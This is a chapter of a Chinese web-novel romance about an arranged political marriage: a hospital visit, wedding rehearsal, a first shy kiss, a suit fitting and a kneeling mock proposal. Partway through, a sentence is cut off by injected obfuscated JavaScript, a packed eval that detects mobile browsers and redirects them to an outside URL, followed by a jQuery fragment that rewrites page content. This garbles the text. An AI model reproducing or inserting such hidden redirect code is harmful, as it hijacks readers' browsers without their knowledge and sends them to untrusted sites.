“最近有一点消息,玉夫镇那头你们继续查,从崔建入手,顺便把他妻子在帝国的身份信息和当年入境做的生意弄清楚。”瞿千岱低头,高耸的眉骨在眼下投落一片阴翳,他的瞳孔是淡淡的金色,在阴影里泛着暗光。 又嘱咐了几句,办公室的房门被轻轻敲响。 秘书走进来,告诉他一会还有个记者发布会,需要他到场。 瞿千岱抬眼,说知道了。 中午时分,外面天光大亮,秘书跟在他身后噤声不语。不知是不是她的错觉,他总觉得向来平和的总统先生心情很差,一幅风雨欲来的模样。 23. 浅吻 许是因为前段时间军部的风波,最近的首都风平浪静,没再出别的乱子。 中心城派去南境的人在军部展开调查,发现当晚让程风来117院的命令来自南境总指挥,而他下这个决定并没有异常。 117院长期和南境保持着医疗上的联系,仔细想来,要不是暗杀这一遭,整个流程其实并没有太大问题。 云泆和闻牧远抽空去医院探望程风,他恢复得很好,但整个人十分沉郁。 这次袭击只有他一个人侥幸存活,其他队员全部不幸殒命,程风醒来想到这些心里不会好受。 他眼眶通红,脖子上还缠着一圈圈纱布,往日的冷静难以维系,咬紧牙关对闻牧远说:“我会为他们报仇的。” “查到凶手一定要告诉我。” 闻牧远明白他的感受,应下了战友的请求。 程风毕竟刚醒不久,怕打扰他休息,云泆和闻牧远只待了一会就离开了医院。 前不久他们的结婚文件审批下来,媒体闻讯,开始报道他们要结婚的消息,引起一片哗然。 群众的目光难得从战争上移开,转到这对不一般的未婚夫夫身上。人们普遍认为他们是天赐良缘,认为只有同样优秀的alpha才配得上云泆。 婚期一天天临近,为表郑重,当天会有很多媒体应邀到场。 顾逸青让他们和司仪对一下婚礼流程,云泆拿到单子被那些繁琐的细节吓了一跳。 顾逸青忍不住埋怨他:“你以为结婚很简单啊,你们这也是太赶,当年我和你父亲结婚,单场地就挑了半个月。” 云泆无奈,云瑞玉和顾逸青的婚礼堪称盛大,毕竟是云顾两家联姻,怎么也不能草率。 但他和闻牧远都没排场上的追求,他也不想办一场太大婚礼让民众有什么心理落差。 司仪把流程一点点捋清,他说:“等到你们互相宣誓完成就可以接吻了,到时候你们最好搂着对方。” “媒体应该会拍很多照片,你们记得要侧点身,不然他们看不见。”司仪仍在喋喋,云泆和闻牧远却一同陷入某种不能用尴尬概括的氛围。 “一定要接吻吗?”云泆讪讪问。 “这是肯定啊!”司仪倒也不怕他的身份,大声说着,“这可是关键环节啊,亲吻,多美好,象征纯洁的爱情。好多新婚夫夫婚礼上亲得那叫一个用力,你们要是不好意思的话可以做做样子什么的......” 这司仪是顾逸青找来的,云泆被他这架势镇住,瞄了一眼闻牧远,却见alpha直直盯着他的下半张脸看。 云泆难得有些脸热,他别过头,继续听接下来的环节。 闻牧远与他离得很近,云泆觉得自己半边身体都有些不自在。 司仪完成工作后麻利走人,留下有些手足无措地云泆和闻牧远,以及面带微笑的顾逸青。 顾逸青见他们这样子安慰道:“不要害羞,嘴皮子碰一下的事。你要是还不知道怎么做,我把当时和你父亲的结婚录像找出来吧。” 云泆连连推拒,带着闻牧远逃命一般回了家。 “这真是......”云泆默默扶额叹气,往日的处变不惊被抛到脑后。 刚才稍微出了些薄汗,他嫌身上的衣服不舒服,起身上楼去换居家服。 上衣刚披上,卧室的门就被推开,闻牧远走进来。 窗帘没拉开,卧室里也没开灯,黑暗的环境下两人都不开口,氛围变得有些奇怪。 “你很介意吗,”闻牧远率先打破沉默,“要是你不喜欢,我们去掉这个环节也没事。” 云泆在系前襟的扣子,他默默品味,竟从闻牧远的话语中听出几分委屈。 “没有,我就是有些不习惯,毕竟我没和人接过吻。”云泆开口,眼神却没看闻牧远。 闻牧远上前一步,二人的间距被猛然缩小,他问:“我也没有,那我们需要这个环节吗。” 云泆见他动作,抬眼看去,只瞧见alpha低垂的眉眼,长而直的睫毛遮住他的瞳孔,整个人看起来温和无害。 这种时刻,仿佛只要自己说一句“不需要”,就是天大的错误。 云泆略过思忖,感性先于理性回道:“要吧。” 说完他又开始找补,“毕竟要做给别人看的,不好太假。” 闻牧远听着,嘴角微微上扬,近来一些念头在他心中愈演愈烈,他总觉得自己心里的猛兽就要突破囚笼,将他吞噬殆尽。 向前还是后退,他不需要犹豫。 “那我们要练习吗?”闻牧远诚恳发问。 云泆被他问得一愣,眨眨眼,有些磕巴地回:“你觉得需要吗?” 闻牧远的目光落在一处没有转移,那注视明明不炽烈,云泆却觉得有些热。 他听见alpha说:“我不太会,到时候可能做不好。”那人颔首,确实是虚心求教的模样。 云泆忽然觉得耳边传来鼓噪的声响,那应该是他的心脏在跳动。 这样的请求自己该拒绝吗?不该吧,这很合理,都是为了给媒体、民众看而已。 云泆在很短的时间内快速说服了自己,他下意识抬了抬下巴,说:“那也可以。” 闻牧远像是得到了什么许可,他又向前一步,脚尖几乎抵到云泆,二人之间的空隙可以忽略不计。 周遭的安静得过分,只有衣物摩擦发出的沙沙动响。 闻牧远伸手很轻地揽住云泆的腰,瘦长好看的手虚扣在云泆的胯骨上方,随后他低头闭上眼,虔诚落下一吻。 云泆只觉得自己忽然被雪柏的味道包裹,温热的气息不断靠近,最后,一枚小心翼翼的吻翩跹而下,停在他的嘴角。 那是一个看似亲密,实则很有分寸的吻。二人仅仅相触了一瞬就很快分开。 闻牧远的嘴唇只是浅浅贴了一下,再没有其他冒犯的举动。 充满温度的气息打在云泆的耳根、颊侧,他的呼吸滞涩难行,直到闻牧远松开他的身体才逐渐恢复。 云泆瞥见alpha衣领下的脖子也是红的,皮肤紧绷,青筋隐现。 闻牧远有些喑哑地开口:“抱歉,我不太会。”他说着摩挲了一下云泆的唇角,擦去一点水光。 云泆也不知自己是怎么想的,直接就说:“没事,下次继续。” 话音刚落他的理智就姗姗来迟,恨不得把刚才出口的话吞回去。 闻牧远的眼睛一亮,像是被肯定的小狗,蛇尾伸出缠在云泆的小腿上,又贴又蹭,仿佛是在渴求主人的表扬。 云泆后知后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12612586|133315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉开始不好意思,虽然刚才那一下也算不上接吻,但他还是有点别扭。 云泆握拳掩住嘴角,说:“那今天就先这样吧,我还有些事要处理。” 他说完就急匆匆出了门,离开昏暗的卧室进到走廊,扑面而来的光线让云泆不禁恍然。他抬手摸过刚才闻牧远亲的地方,心脏咚咚直响。 这是楼下传来敲门声,云泆从混乱的脑海里捡出一点信息,应该是顾逸青叫人取了西装送过来。 闻牧远也闻声出来,二人一前一后下楼,步伐都有些不自然。 开门接过衣服,那两套西装被整齐地叠放在一起。顾逸青讲究,单礼服就为他们订了好几套,这次送来的是宣誓时要穿的衣服,二人均是简单的白色,款式上略有差别。 云泆收起心绪,他抱着两件衣服说:“我们去试试?” 闻牧远说好,和下楼时一样跟在他身后。 婚礼的衣服比平时的西装正式不少,一道送过来的还有衬衫、腰封和领结。 云泆背对着闻牧远换上,这衣服尺寸量的标准,分毫不差,在他身上很妥帖。 他回头看向闻牧远,触及的一刻目光停滞。果然长得好看穿什么都好看,那画面十分赏心悦目。 纯白的腰封束在闻牧远腹部,被系上的西装遮挡,礼服的款式是婚礼常见的戗驳领,看起来有些张扬。他本就身姿颀长高挺,裁缝的手艺也好,一身白的他和往日截然不同。 云泆走近,抬手帮他把黑色的领结扶正,夸道:“很好看。” 闻牧远垂眸,他的目光轻柔扫过云泆,入目之处是一张令所有alpha为之神魂颠倒的脸,在白色布料的衬托下散发着圣洁的光辉。二人近在咫尺,他放轻呼吸回应道:“你也是,很好看。” 云泆回以一笑,亲吻的后劲很悠长,到这会还没散去,他总觉得嘴角有些发热,说:“一个多月前我肯定想不到自己居然马上要结婚了。” 闻牧远没有立刻回答,静默片刻后才说:“你会觉得为难吗?” 尾椎骨泛痒,他的尾巴有些许躁动,这可惜这身礼服并非特制的,尾巴见状只好歇了心思。 云泆微怔,旋即展颜道:“不会啊,我不想做的事没人能强迫我。” “当时瞿千岱只是提出意见,但最终采取的人是我。开始这场婚姻或许是因为我的伤势和政局,但做出选择的不是我们自己吗。”这些事情云泆想得很清楚,因此闻牧远问起来他答得坦然。 闻牧远的眼里此刻只有云泆,那是一种专注的凝视,除了眼中人再看不到其他事物。 他问:“交换戒指的时候我们需要单膝跪地吗?” 这问题有些滑稽,云泆失笑,他说:“那我们在台上面对面跪着啊,这也太好笑了,给媒体提供素材也不用到这份上。”他眼角的笑意还未收回,却见眼前人的高度突然缓缓变低,最后闻牧远单膝跪在他身前。 云泆愣在原地不知所措,他诧异道:“这、这是怎么了?” 闻牧远抬头,伸手牵起他的右手。 云泆的手很白,除了有几个枪茧外堪称完美,骨节分明而瘦长,很是好看。 闻牧远动作自然地在云泆中指上轻轻一吻,他神色庄重而粲然,开口道:“这可以算作是我的求婚吗?”